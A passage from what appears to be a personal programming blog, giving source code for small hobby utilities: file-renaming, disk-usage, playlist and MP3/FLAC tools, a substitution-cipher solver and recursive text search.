    print "Coverage: %.2f%%" % ((fs_covered / fs_total) * 100)
    print "Missing Files:"
    for filename in fs_files.difference(xspf_files):
        print filename

    sys.exit(0)
          


Topic: Scripts and Code, by Kjetil @ 06/03-2015, Article Link

Filename Sanitizer

Here is a Python script to sanitize filenames that be transferred to a Windows file system. This script will recursively go through a directory and replace the bad characters with underscores. Not sure if this script knows about all the bad ones, but it worked in my case at least.

Check it out:

#!/usr/bin/python

import os
import sys

bad_characters = r'?<>\:*|"'
replacement = '_'

if len(sys.argv) < 2:
    print "Usage: %s <directory> [yes]" % (sys.argv[0])
    sys.exit(1)

do_it = False
if len(sys.argv) > 2:
    if sys.argv[2] == 'yes':
        do_it = True

for directory, dirnames, filenames in os.walk(sys.argv[1], topdown=False):
    for name in filenames + dirnames:
        newname = name
        for bad in bad_characters:
            newname = newname.replace(bad, replacement)
        if newname != name:
            oldpath = os.path.join(directory, name)
            newpath = os.path.join(directory, newname)
            print "%s -> %s" % (oldpath, newpath)
            if do_it:
                os.rename(oldpath, newpath)
          


Topic: Scripts and Code, by Kjetil @ 06/02-2015, Article Link

Storage Chart

Here is a small curses program that can visualize disk space usage, among other things. It's meant to be used together with the "du" command like this: "du -s * | this-program"

The program has a few shortcomings, and it could have probably been implemented without the use of curses. Note that Ctrl-C needs to be used to quit the program, since it uses standard in to read the data, and blocks other input from the keyboard. An "other" category is used for excessive input, but this can get too large. In that case, sort the input before passing it to the program like so: "du -s * | sort -n -r | this-program".

The visual format is similar to that of WinDirStat/KDirStat. Here's an example:

Screenshot of storage chart program.


Observe the code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <curses.h>

#define TEXT_X_AREA 20
#define TEXT_MAX TEXT_X_AREA - 3
#define DATA_MAX 24 /* Best fit when using 80x24 terminal. */
#define DATA_DELIMITER "\t"

typedef struct data_s {
  double value;
  char text[TEXT_MAX + 1];
} data_t;

static void screen_init(int *max_y, int *max_x)
{
  initscr();
  atexit((void *)endwin);
  if (has_colors()) {
    start_color();
    init_pair(1, COLOR_RED,     COLOR_BLACK);
    init_pair(2, COLOR_GREEN,   COLOR_BLACK);
    init_pair(3, COLOR_BLUE,    COLOR_BLACK);
    init_pair(4, COLOR_YELLOW,  COLOR_BLACK);
    init_pair(5, COLOR_MAGENTA, COLOR_BLACK);
    init_pair(6, COLOR_CYAN,    COLOR_BLACK);
    init_pair(7, COLOR_WHITE,   COLOR_BLACK);
  }
  noecho();
  getmaxyx(stdscr, *max_y, *max_x);
}

static void box_draw(int pattern, int start_y, int start_x,
  int size_y, int size_x)
{
  int y, x;
  for (y = 0; y < size_y; y++) {
    for (x = 0; x < size_x; x++) {
      if ((pattern % 14) > 6) {
        wattrset(stdscr, A_BOLD | COLOR_PAIR((pattern % 7) + 1));
      } else {
        wattrset(stdscr, COLOR_PAIR((pattern % 7) + 1));
      }
      mvaddch(start_y + y, start_x + x, pattern + 0x41);
    }
  }
  refresh();
}

static void text_draw(int pattern, char *text, int y, int x)
{
  if ((pattern % 14) > 6) {
    wattrset(stdscr, A_BOLD | COLOR_PAIR((pattern % 7) + 1));
  } else {
    wattrset(stdscr, COLOR_PAIR((pattern % 7) + 1));
  }
  mvprintw(y, x, "%c:%s", pattern + 0x41, text);
  refresh();
}

static int data_compare(const void *p1, const void *p2)
{
  return ((data_t *)p1)->value < ((data_t *)p2)->value;
}

int main(int argc, char *argv[])
{
  int i, max_y, max_x, start_y, start_x, size_y, size_x, horizontal;
  double sum, share, used, value;
  char line[128], *p;
  data_t data[DATA_MAX];

  for (i = 0; i < DATA_MAX; i++) {
    data[i].value = 0.0;
    data[i].text[0] = '\0';
  }
  strncpy(data[DATA_MAX - 1].text, "*OTHER*", TEXT_MAX);

  i = 0;
  while (fgets(line, sizeof(line), stdin) != NULL) {
    p = strtok(line, DATA_DELIMITER);
    if (p == NULL)
      continue;

    value = atof(p);

    p = strtok(NULL, DATA_DELIMITER);
    if (p == NULL)
      continue;

    if (i >= (DATA_MAX - 1)) {
      data[DATA_MAX - 1].value += value;
    } else {
      data[i].value = value;
      strncpy(data[i].text, p, TEXT_MAX);
      data[i].text[TEXT_MAX] = '\0';
      i++;
    }
  }

  /* Sort to get largest value first. */
  qsort(data, DATA_MAX, sizeof(data_t), data_compare);

  sum = 0.0;
  for (i = 0; i < DATA_MAX; i++) {
    if (data[i].value <= 0.0)
      break;
    sum += data[i].value;
  }

  if (sum <= 0.0) {
    return 1; /* Will divide by zero, abort. */
  }

  screen_init(&max_y, &max_x);
  max_x -= TEXT_X_AREA;

  used = 0.0;
  horizontal = start_y = start_x = 0;
  size_y = max_y;
  size_x = max_x;
  for (i = 0; i < DATA_MAX; i++) {
    if (data[i].value <= 0.0)
      break;

    share = data[i].value / (sum - used);

    if (horizontal) {
      size_x = max_x - start_x;
      size_y = share * (double)(max_y - start_y);
      box_draw(i, start_y, start_x, size_y, size_x);
      start_y += size_y;
      horizontal = 0;
    } else {
      size_y = max_y - start_y;
      size_x = share * (double)(max_x - start_x);
      box_draw(i, start_y, start_x, size_y, size_x);
      start_x += size_x;
      horizontal = 1;
    }

    used += data[i].value;
  }

  for (i = 0; i < DATA_MAX; i++) {
    if (data[i].value <= 0.0)
      break;
    text_draw(i, data[i].text, i, max_x + 1);
  }

  move(0,0);
  refresh();
  while (1) {
    sleep(1); /* Ctrl-C to quit! */
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 03/01-2015, Article Link

XSPF Integrity Check

This is a Python script to check the integrity of XSPF playlist files. By integrity check, I mean checking if the files that the playlists references actually do exist.

You may notice that I use a regular expression with a lambda expression to decode the URL encoding instead of using the standard urllib.unquote() routine. There is a good reason for this, namely that urllib.unquote() returns a "unicode" formatted string instead of a regular "str" Python string. I happen to use Latin-1 encoding on my filenames, and in order to properly decode these, the built-in decode() function must be used, but that one only works on regular "str" strings!

Anyway, here's my script:

#!/usr/bin/python

import xml.dom.minidom
import re
import os.path

def xspf_parse(playlist_filename, handler):
    xml_data = xml.dom.minidom.parse(playlist_filename)
    for playlist in xml_data.getElementsByTagName("playlist"):
        for tracklist in playlist.getElementsByTagName("trackList"):
            for track in tracklist.getElementsByTagName("track"):
                for location in track.getElementsByTagName("location"):
                    data = re.sub("%([0-9a-fA-F]{2})", \
                        lambda x: chr(int(x.group(1), 16)), \
                        location.firstChild.data.encode("utf-8"))
                    track_filename = data.decode("utf-8").replace("file://", "")
                    handler(playlist_filename, track_filename)

def file_check(playlist_filename, track_filename):
    if not os.path.isfile(track_filename):
        print playlist_filename, "-->", track_filename

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 2:
        print "Usage: %s <xspf file> ... <xspf file>" % (sys.argv[0])
        sys.exit(1)

    for filename in sys.argv[1:]:
        xspf_parse(filename, file_check)

    sys.exit(0)
          


Topic: Scripts and Code, by Kjetil @ 11/12-2014, Article Link

MP3 Splitting Tool

This tool is very similar to the MP3 Cutting Tool I made some years ago, but covers different use case. The intention with this tool, is to cut away the beginning or ending of an MP3 file in a lossless manner, by splitting it at a frame boundary.

Using the tool on an MP3 file without any additional arguments will just print the total amount of frames. It will then be necessary to specify at which frame the splitting should occur, and the result will be two new (before & after the frame) MP3 files. Please note that this operation will likely mess up ID3 tags in the file, so I recommend to remove all old tags and then do a re-tagging operation afterwards.

Here is the modified source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <limits.h>

static int bitrate_matrix[16][5] = {
  {0,   0,   0,   0,   0},
  {32,  32,  32,  32,  8},
  {64,  48,  40,  48,  16},
  {96,  56,  48,  56,  24},
  {128, 64,  56,  64,  32},
  {160, 80,  64,  80,  40},
  {192, 96,  80,  96,  48},
  {224, 112, 96,  112, 56},
  {256, 128, 112, 128, 64},
  {288, 160, 128, 144, 80},
  {320, 192, 160, 160, 96},
  {352, 224, 192, 176, 112},
  {384, 256, 224, 192, 128},
  {416, 320, 256, 224, 144},
  {448, 384, 320, 256, 160},
  {0,   0,   0,   0,   0}};

static int sampling_matrix[4][3] = {
  {44100, 22050, 11025},
  {48000, 24000, 12000},
  {32000, 16000, 8000},
  {0,     0,     0}};

static int decode_header(unsigned char *header)
{
  int version, layer, padding;
  int bitrate_row, bitrate_col, sampling_row, sampling_col;

  version = (header[1] & 0x08) >> 3; /* MPEG version. */
  layer = (header[1] & 0x06) >> 1; /* MPEG layer. */

  bitrate_row = (header[2] & 0xf0) >> 4;
  bitrate_col = -1;
  if (version == 1) {
    if (layer == 3)      /* I */
      bitrate_col = 0;
    else if (layer == 2) /* II */
      bitrate_col = 1;
    else if (layer == 1) /* III */
      bitrate_col = 2;
  } else { /* Version 2 */
    if (layer == 3)      /* I */
      bitrate_col = 3;
    else if (layer == 2) /* II */
      bitrate_col = 4;
    else if (layer == 1) /* III */
      bitrate_col = 4;
  }

  sampling_row = (header[2] & 0x0c) >> 2;
  sampling_col = (version == 0) ? 1 : 0;

  padding = (header[2] & 0x02) >> 1;

  if (sampling_matrix[sampling_row][sampling_col] == 0)
    return -1; /* Cannot divide by zero. */

  if (layer == 3) /* I */
    return (12 * (bitrate_matrix[bitrate_row][bitrate_col] * 1000) /
      sampling_matrix[sampling_row][sampling_col] + (padding * 4)) * 4;
  else if (layer == 2 || layer == 1) /* II or III */
    return 144 * (bitrate_matrix[bitrate_row][bitrate_col] * 1000) /
      sampling_matrix[sampling_row][sampling_col] + padding;
  else
    return -1;
}

static int read_frames(FILE *src, FILE *dst, int frame_limit)
{
  int c, n, frame_length, no_of_frames;
  unsigned char quad[4];

  quad[0] = quad[1] = quad[2] = quad[3] = '\0';

  frame_length = n = no_of_frames = 0;
  while ((c = fgetc(src)) != EOF) {
    if (dst != NULL)
      fputc(c, dst);
  
    if (frame_length > 0) {
      frame_length--;
      n++;

      /* While cutting the file, a frame limit is specified to stop reading. */
      if (frame_limit > 0) {
        if (frame_length == 0 && no_of_frames == frame_limit)
          return no_of_frames; /* Return early, but filehandle must be left
                                  intact by the caller to continue at the right
                                  spot! */
      }

      /* Skip ahead in stream to avoid reading garbage. */
      continue;
    }

    /* Have a potential header ready for each read. */
    quad[0] = quad[1];
    quad[1] = quad[2];
    quad[2] = quad[3];
    quad[3] = c;

    /* Match frame sync. */
    if ((quad[0] == 0xff) && ((quad[1] & 0xf0) == 0xf0)) {
      no_of_frames++;
      frame_length = decode_header(quad) - 4;
      quad[0] = quad[1] = quad[2] = quad[3] = '\0';
    }

    n++;
  }
  
  return no_of_frames;
}

int main(int argc, char *argv[])
{
  int i, no_of_frames, parts, limit;
  FILE *src, *dst;
  char filename[PATH_MAX]; /* POSIX limit. */

  if (argc != 3) {
    fprintf(stderr, "Usage: %s <mp3-file> <no-of-parts>\n", argv[0]);
    return 1;
  }

  parts = atoi(argv[2]);
  if (parts == 0) {
    fprintf(stderr, "Error: Invalid number of parts specified.\n");
    return 1;
  }

  src = fopen(argv[1], "r");
  if (src == NULL) {
    fprintf(stderr, "Error: Unable to open file for reading: %s\n",
      strerror(errno));
    return 1;
  }

  no_of_frames = read_frames(src, NULL, 0);
  if (parts > no_of_frames) {
    fprintf(stderr, "Error: More parts than available frames specified.\n");
    fclose(src);
    return 1;
  }

  rewind(src);

  for (i = 1; i <= parts; i++) {
    snprintf(filename, sizeof(filename), "%s.%02d", argv[1], i);

    dst = fopen(filename, "w");
    if (dst == NULL) {
      fprintf(stderr, "Error: Unable to open file for writing: %s\n",
        strerror(errno));
      fclose(src);
      return 1;
    }

    if (i == parts)
      limit = 0; /* Make sure all frames are read on the last part,
                    rounding errors in the formula prevents this. */
    else
      limit = no_of_frames / parts;

    fprintf(stderr, "%02d: %s: %d\n", i, filename, 
      read_frames(src, dst, limit));

    fclose(dst);
  }

  fclose(src);
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 29/11-2014, Article Link

FLAC Tagging Helper

Here is a small Python script that helps with tagging FLAC files. It relies on the external "metaflac" tool to do this.

The idea with this script, is to combine it with a album template file that contains all the information that should be tagged for set of files in a specific directory. Since the "--no-utf8-convert" flag is used, the album file should use UTF-8 for any non-ASCII character. Each line represents a tag, and if a line is prefixed with a number and colon, the tag will only be applied for that track number. The script expects to find files that start with the track number and a dash to identify which files to tag in the directory.

Here is an example of a album template file:

ALBUM=Foo
DATE=2001
GENRE=Rock
01:TRACKNUMBER=1
01:ARTIST=Bar
01:TITLE=Baz
02:TRACKNUMBER=2
02:ARTIST=Bar
02:TITLE=Baaaaz
          


Here is the Python script itself:

#!/usr/bin/python

import re
import os

class FLACTagger(object):
    def __init__(self, flac_directory, album_file, cover_image):
        self._flac_directory = flac_directory
        self._album_file = album_file
        self._cover_image = cover_image
        self._global_tags = list()
        self._track_tags = dict()

    def read_album_file(self):
        fh = open(self._album_file, "r")
        for line in fh:
            match = re.match(r"^(\d+):(\w+=.*)$", line)
            if match:
                if not match.group(1) in self._track_tags:
                    self._track_tags[match.group(1)] = list()
                self._track_tags[match.group(1)].append(match.group(2))

            match = re.match(r"^(\w+=.*)$", line)
            if match:
                self._global_tags.append(match.group(1))

        fh.close()

    def make_flactags_files(self):
        for track_no in self._track_tags.keys():
            fh = open("/tmp/%s.flactags" % (track_no), "w")
            for tags in self._global_tags:
                fh.write(tags)
                fh.write("\n")
            for tags in self._track_tags[track_no]:
                fh.write(tags)
                fh.write("\n")
            fh.close()

    def _quote(self, filename):
        return "'" + filename.replace("'", "'\\''") + "'"

    def apply_tags(self):
        for filename in os.listdir(self._flac_directory):
            match = re.match(r"^(\d+) - ", filename)
            full_path = self._quote(self._flac_directory + "/" + filename)
            if match:
                print full_path
                os.system("metaflac --remove-all %s" % (full_path))
                os.system("metaflac --no-utf8-convert --import-tags-from=/tmp/%s.flactags %s" % (match.group(1), full_path))
                os.system("metaflac --import-picture-from=%s %s" % (self._quote(self._cover_image), full_path))



if __name__ == "__main__":
    import sys

    if len(sys.argv) < 4:
        print "Usage: %s <FLAC directory> <album file> <cover image>" % (sys.argv[0])
        sys.exit(1)
    
    if not os.path.isdir(sys.argv[1]):
        print "Error: Invalid file directory"
        sys.exit(1)

    if not os.path.isfile(sys.argv[2]):
        print "Error: Invalid album file"
        sys.exit(1)

    if not os.path.isfile(sys.argv[3]):
        print "Error: Invalid cover image"
        sys.exit(1)

    ftm = FLACTagger(sys.argv[1], sys.argv[2], sys.argv[3])
    ftm.read_album_file()
    ftm.make_flactags_files()
    ftm.apply_tags()
          


Topic: Scripts and Code, by Kjetil @ 01/08-2014, Article Link

Substitution Cipher Cryptanalysis

Here is another re-release. Several years ago, I made a tool to crack substitution ciphers. I have cleaned up the code and made some improvements.

The program uses setlocale() to modify the effect of e.g. the isalpha() and toupper() standard C functions. This makes it possible to support several languages that use more than just A to Z.

Here's what it looks like in action:

Screenshot of SCCA.

(Press F1 or F5 for help.)

Compile this code, and remember to link with the curses library:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <curses.h>
#include <limits.h>
#include <locale.h>

#define TEXT_MAX 65536
#define SAVE_EXTENSION "scca"
#define PAGE_OFFSET_SKIP 10

static int allowed_char[UCHAR_MAX];
static unsigned char cipher[UCHAR_MAX];
static unsigned char text[TEXT_MAX] = {'\0'};
static int allowed_char_len;
static int cipher_pos = 0;
static int text_offset = 0;

static void cipher_init(void)
{
  unsigned char c;

  setlocale(LC_ALL, "");

  allowed_char_len = 0;
  for (c = 0; c < UCHAR_MAX; c++) {
    if (isupper(c)) {
      allowed_char[c] = allowed_char_len;
      allowed_char_len++;
    } else {
      allowed_char[c] = -1;
    }
    cipher[c] = ' ';
  }
}

static void cipher_erase(void)
{
  unsigned char c;
  for (c = 0; c < UCHAR_MAX; c++) {
    cipher[c] = ' ';
  }
}

static unsigned char cipher_applied(unsigned char plain)
{
  unsigned char c;

  if (isupper(plain)) {
    c = allowed_char[plain];
    if (cipher[c] == ' ') {
      return plain;
    } else {
      return cipher[c];
    }
  } else {
    return plain;
  }
}

static int text_read(char *filename)
{
  int c, n;
  FILE *fh;

  fh = fopen(filename, "r");
  if (! fh) {
    fprintf(stderr, "fopen() failed on file: %s\n", filename);
    return 1;
  }

  setlocale(LC_ALL, "");

  n = 0;
  while ((c = fgetc(fh)) != EOF) {
    if (n > TEXT_MAX)
      break;
    if (c == '\r')
      continue; /* CR causes issues, just strip it. */
    text[n] = toupper(c);
    n++;
  }

  fclose(fh);
  return 0;
}

static void text_save(char *old_filename)
{
  int i;
  FILE *fh;
  static char new_filename[PATH_MAX];

  snprintf(new_filename, PATH_MAX, "%s.%s", old_filename, SAVE_EXTENSION);

  erase();

  fh = fopen(new_filename, "w");
  if (fh == NULL) {
    mvprintw(0, 0, "Could not open file for writing: %s", new_filename);
  } else {
    for (i = 0; i < TEXT_MAX; i++) {
      if (text[i] == '\0')
        break;
      fputc(cipher_applied(text[i]), fh);
    }
    mvprintw(0, 0, "Deciphered text saved to: %s", new_filename);
  }
  fclose(fh);

  mvprintw(1, 0, "Press any key to contiue...");
  refresh();

  flushinp();
  getch(); /* Wait for keypress. */
  flushinp();
}

static void display_help(void)
{
  erase();
  mvprintw(0,  0, "Left:        Move cipher cursor left.");
  mvprintw(1,  0, "Right:       Move ciiper cursor right.");
  mvprintw(2,  0, "Up:          Scroll one line up.");
  mvprintw(3,  0, "Down:        Scroll one line down.");
  mvprintw(4,  0, "Page Up:     Scroll %d lines up.", PAGE_OFFSET_SKIP);
  mvprintw(5,  0, "Page Down:   Scroll %d lines down.", PAGE_OFFSET_SKIP);
  mvprintw(6,  0, "Space:       Erase cipher character.");
  mvprintw(7,  0, "[A-Z]:       Insert cipher character.");
  mvprintw(8,  0, "F1 / F5:     Display this help.");
  mvprintw(9,  0, "F2 / F6:     Display character frequency.");
  mvprintw(10, 0, "F3 / F7:     Reset cipher. (Erase all.)");
  mvprintw(11, 0, "F4 / F8:     Save deciphered text to file.");
  mvprintw(12, 0, "F10:         Quit");
  mvprintw(14, 0, "Press any key to contiue...");
  refresh();

  flushinp();
  getch(); /* Wait for keypress. */
  flushinp();
}

static void display_frequency(void)
{
  int count[UCHAR_MAX];
  int i, y, x, maxy, maxx;
  unsigned char c;

  for (c = 0; c < UCHAR_MAX; c++) {
    count[c] = 0;
  }

  for (i = 0; i < TEXT_MAX; i++) {
    if (text[i] == '\0')
      break;
    count[text[i]]++;
  }

  erase();
  getmaxyx(stdscr, maxy, maxx);
  y = x = 0;
  for (c = 0; c < UCHAR_MAX; c++) {
    if (! isupper(c))
      continue;

    mvprintw(y, x, "%c: %d", c, count[c]);
    x += 10;
    if (x > (maxx - 10)) {
      x = 0;
      y++;
    }
  }
  mvprintw(y + 1, 0, "Press any key to contiue...");
  refresh();
  
  flushinp();
  getch(); /* Wait for keypress. */
  flushinp();
}

static void screen_init(void)
{
  initscr();
  atexit((void *)endwin);
  noecho();
  keypad(stdscr, TRUE);
}

static void screen_update(void)
{
  unsigned char c;
  int i, y, x, maxy, maxx, skip_newline;

  getmaxyx(stdscr, maxy, maxx);
  erase();

  /* Alphabet. */
  x = 0;
  for (c = 0; c < UCHAR_MAX; c++) {
    if (allowed_char[c] != -1) {
      mvaddch(0, x, c);
      x++;
      if (x > maxx)
        break;
    }
  }

  /* Cipher */
  x = 0;
  for (c = 0; c < UCHAR_MAX; c++) {
    mvaddch(1, x, cipher[c]);
    x++;
    if (x > maxx)
      break;
  }

  /* Upper Separation Line */
  mvhline(2, 0, ACS_HLINE, maxx);

  /* Text */
  skip_newline = text_offset;
  move(3, 0);
  for (i = 0; i < TEXT_MAX; i++) {
    if (text[i] == '\0')
      break;

    if (skip_newline > 0) {
      if (text[i] == '\n') {
        skip_newline--;
      }
      continue;
    }

    c = cipher_applied(text[i]);
    if (c != text[i]) {
      attron(A_REVERSE);
    }
    addch(c);
    if (c != text[i]) {
      attroff(A_REVERSE);
    }

    getyx(stdscr, y, x);
    if (y >= (maxy - 1)) {
      break;
    }
  }

  /* Lower Separation Line */
  mvhline(maxy - 1, 0, ACS_HLINE, maxx);

  move(1, cipher_pos);
  refresh();
}

static void screen_resize(void)
{
  endwin(); /* To get new window limits. */
  screen_update();
  flushinp();
  keypad(stdscr, TRUE);
  cipher_pos = 0;
}

int main(int argc, char *argv[])
{
  int c;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <filename>\n", argv[0]);
    return 0;
  }

  cipher_init();
  if (text_read(argv[1]) != 0) {
    return 1;
  }
  screen_init();

  while (1) {
    screen_update();
    c = getch();

    switch (c) {
    case KEY_RESIZE:
      screen_resize();

    case KEY_LEFT:
      cipher_pos--;
      if (cipher_pos < 0)
        cipher_pos = 0;
      break;

    case KEY_RIGHT:
      cipher_pos++;
      if (cipher_pos > allowed_char_len)
        cipher_pos = allowed_char_len;
      break;

    case KEY_UP:
      text_offset--;
      if (text_offset < 0)
        text_offset = 0;
      break;

    case KEY_DOWN:
      text_offset++;
      /* NOTE: Nothing preventing infinite scrolling... */
      break;

    case KEY_PPAGE:
      text_offset -= PAGE_OFFSET_SKIP;
      if (text_offset < 0)
        text_offset = 0;
      break;
      
    case KEY_NPAGE:
      text_offset += PAGE_OFFSET_SKIP;
      /* NOTE: Nothing preventing infinite scrolling... */
      break;

    case KEY_F(1):
    case KEY_F(5):
      display_help();
      break;

    case KEY_F(2):
    case KEY_F(6):
      display_frequency();
      break;

    case KEY_F(3):
    case KEY_F(7):
      cipher_erase();
      break;

    case KEY_F(4):
    case KEY_F(8):
      text_save(argv[1]);
      break;

    case KEY_F(10):
      exit(0);

    case ' ':
      cipher[cipher_pos] = ' ';
      break;

    default:
      if (isalpha(c)) {
        cipher[cipher_pos] = toupper(c);
      }
      break;
    }
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 05/07-2014, Article Link

Indexed String Search

Just for experimentation, I created an indexed string search system based on hashing, implemented in Python for fast prototyping. The results were rather shocking actually. I had a hunch that it could be slow, but not this slow. The C-based string search I made earlier, that searches file by file directly, is a lot faster.

The principle for this script is to create a hashed database that holds all the words with their location. In theory, this is quicker than searching through the all files again and again. I think the main problem is the gigantic database that gets created, which is 10 times larger than the actual files to search. This takes a very long time to load into memory every time the script is called.

Anyway, here is the code. It works, but it's very slow:

#!/usr/bin/python

import os.path
import pickle

class SearchDatabase(object):
    def __init__(self):
        self._db = dict()

    def _visitor(self, arg, dirname, names):
        for name in names:
            filename = os.path.join(dirname, name)
            if os.path.isfile(filename):
                fh = open(filename, "r")
                for line_no, line in enumerate(fh):
                    location = "%s:%d" % (filename, line_no + 1)
                    for word in line.split():
                        if not word.upper() in self._db:
                            self._db[word.upper()] = dict()
                        self._db[word.upper()][location] = line.rstrip()
                fh.close()

    def create(self, directory):
        os.path.walk(directory, self._visitor, None)

    def save(self, filename):
        fh = open(filename, "wb")
        pickle.dump(self._db, fh, pickle.HIGHEST_PROTOCOL)
        fh.close()

    def load(self, filename):
        fh = open(filename, "rb")
        self._db = pickle.load(fh)
        fh.close()

    def locate_and_display(self, word):
        try:
            for location in self._db[word.upper()]:
                print "%s:%s" % (location, self._db[word.upper()][location])
        except KeyError:
            return

if __name__ == "__main__":
    import sys
    import getopt

    def usage_and_exit():
        print "Usage: %s <options> <word>" % (sys.argv[0])
        print "Options:"
        print "  -h        Display this help and exit."
        print "  -d DIR    Create database by traversing directory DIR."
        print "  -f FILE   Use FILE as database filename."
        print ""
        sys.exit(1)

    try:
        opts, args = getopt.getopt(sys.argv[1:], "hd:f:")
    except getopt.GetoptError as err:
        print "Error:", str(err)
        usage_and_exit()

    directory = None
    db_filename = "locate.db"

    for o, a in opts:
        if o == '-h':
            usage_and_exit()
        elif o == '-d':
            directory = a
        elif o == '-f':
            db_filename = a

    sdb = SearchDatabase()

    if directory: # Create Mode
        if not os.path.isdir(directory):
            print "Error: invalid directory"
            usage_and_exit()
        sdb.create(directory)
        sdb.save(db_filename)

    else: # Search Mode
        if len(args) == 0:
            print "Error: please specify a search word"
            usage_and_exit()
        sdb.load(db_filename)
        for arg in args:
            sdb.locate_and_display(arg)
          


Topic: Scripts and Code, by Kjetil @ 01/06-2014, Article Link

Recursive String Search Improved

Remember Recursive String Search?
I have made an improved version based on some experience with that program. First of all, this new one will search in the current directory by default, unless the '-d' option is used. Second, there is a simple filter that can be applied for filename extensions, which is helpful for code search. Finally, it's possible to print the filename on each line found. This is very convenient if the search results are to be "grepped" further.

Once again, there is a binary for Win32 (compiled with MinGW) and here's the source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <dirent.h>

#define FILTER_DELIMITER ";"
#define FILTER_MAX 10

static char *filters[FILTER_MAX];
static int no_of_filters = 0;

static void display_help(char *progname)
{
  fprintf(stderr, "Usage: %s <options> <string>\n", progname);
  fprintf(stderr, "Options:\n"
     "  -h          Display this help and exit.\n"
     "  -n          Print filename on each search match line.\n"
     "  -d DIR      Search DIR instead of current directory.\n"
     "  -f FILTER   Apply FILTER on filename extension when searching.\n"
     "                Delimited by ';', e.g. '.c;.cpp;.h;.hpp'\n"
     "\n");
}

static void build_filter(char *filter)
{
  no_of_filters = 0;

  filters[0] = strtok(filter, FILTER_DELIMITER);
  if (filters[0] == NULL)
    return;

  for (no_of_filters = 1; no_of_filters < FILTER_MAX; no_of_filters++) {
    filters[no_of_filters] = strtok(NULL, FILTER_DELIMITER);
    if (filters[no_of_filters] == NULL)
      break;
  }
}

static int matches_filter(char *name, int name_len)
{
  int i, n1, n2, match, filter_len;

  if (no_of_filters == 0)
    return 1; /* No filters, always matches. */

  for (i = 0; i < no_of_filters; i++) {
    filter_len = strlen(filters[i]);
    if (filter_len > name_len)
      return 0; /* Filter cannot be longer than name! */

    match = 0;
    n2 = name_len - 1;
    for (n1 = filter_len - 1; n1 >= 0; n1--, n2--) {
      if (toupper(filters[i][n1]) != toupper(name[n2]))
        break;
      match++;
    }

    if (filter_len == match)
      return 1; /* Whole filter matched. */
  }

  return 0; /* No matches. */
}

static void recurse(char *path, char *string, int string_len, int show_mode)
{
  static char line[1024]; /* Allocate in BSS. */
  char full_path[PATH_MAX];
  int n, match, name_shown, line_no;
  struct dirent *entry;
  struct stat st;
  DIR *dh;
  FILE *fh;

  dh = opendir(path);
  if (dh == NULL) {
    fprintf(stderr, "Warning: Unable to open directory: %s\n", path);
    return;
  }

  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue; /* Ignore files with leading dot. */

#ifdef WINNT
    snprintf(full_path, PATH_MAX, "%s\\%s", path, entry->d_name);
#else
    snprintf(full_path, PATH_MAX, "%s/%s", path, entry->d_name);
#endif

    stat(full_path, &st);
    if (S_ISDIR(st.st_mode)) {
      /* Traverse. */
      recurse(full_path, string, string_len, show_mode);

    } else if (S_ISREG(st.st_mode)) {
      /* Search. */
      if (! matches_filter(full_path, strlen(full_path)))
        continue;

      fh = fopen(full_path, "r");
      if (fh == NULL) {
        fprintf(stderr, "Warning: Unable to open file: %s\n", full_path);
        continue;
      }

      name_shown = line_no = 0;
      while (fgets(line, 1024, fh) != NULL) {
        line_no++;
        match = 0;
        for (n = 0; line[n] != '\0'; n++) {
          if (toupper(line[n]) == toupper(string[match])) {
            match++;
            if (match >= string_len) {
              if (show_mode == 0) {
                if (! name_shown) {
                  printf("%s\n", full_path);
                  name_shown = 1;
                }
                printf("%d:%s", line_no, line);
              } else {
                printf("%s:%d:%s", full_path, line_no, line);
              }
              break;
            }
          } else {
            match = 0;
          }
        }
      }
      fclose(fh);
    }
  }

  closedir(dh);
  return;
}

int main(int argc, char *argv[])
{
  int c;
  int show_mode = 0;
  char *search_dir = NULL;

  while ((c = getopt(argc, argv, "hnd:f:")) != -1) {
    switch (c) {
    case 'h':
      display_help(argv[0]);
      exit(EXIT_SUCCESS);

    case 'n':
      show_mode = 1;
      break;

    case 'd':
      search_dir = optarg;
      break;

    case 'f':
      build_filter(optarg);
      break;
    
    case '?':
    default:
      display_help(argv[0]);
      exit(EXIT_FAILURE);
    }
  }

  if (search_dir == NULL) {
    search_dir = "."; /* Current directory. */
  }

  if (optind >= argc) {
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  recurse(search_dir, argv[optind], strlen(argv[optind]), show_mode);
  return EXIT_SUCCESS;
}
          


Topic: Scripts and Code, by Kjetil @ 05/05-2014, Article Link

True Filename Listing

Here is a special tool I made to view the true names of files. A filename with characters other than ASCII (or ISO-8859) just shows up as question marks if you use the regular "ls" command. This is an alternative command that displays the filenames using a hex encoding, if the output is a TTY (terminal). If the output is redirected to a file, the true character values will be dumped.

Here is the source code, enjoy:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>

static void list(char *dirname)
{
  DIR *dir;
  struct dirent *file;
  int i, len, longest;

  dir = opendir(dirname);
  if (dir == NULL)
    return;

  longest = 0;
  while ((file = readdir(dir)) != NULL) {
    len = strlen(file->d_name);
    if (len > longest)
      longest = len;
  }

  rewinddir(dir);

  while ((file = readdir(dir)) != NULL) {
    if (isatty(STDOUT_FILENO)) {
      /* Printable name */
      for (i = 0; file->d_name[i] != '\0'; i++) {
        if (isprint(file->d_name[i])) {
          printf("%c", file->d_name[i]);
        } else {
          printf("?");
        }
      }

      /* Padding */
      while (i < longest) {
        printf(" ");
        i++;
      }
      printf("   ");

      /* Hex name */
      for (i = 0; file->d_name[i] != '\0'; i++) {
        printf("%02x", (unsigned char)file->d_name[i]);
      }
      printf("\n");

    } else {
      /* Raw output */
      for (i = 0; file->d_name[i] != '\0'; i++) {
        printf("%c", file->d_name[i]);
      }
      printf("\n");

    }
  }

  closedir(dir);
}

int main(int argc, char *argv[])
{
  int i;
  struct stat st;

  if (argc > 1) {
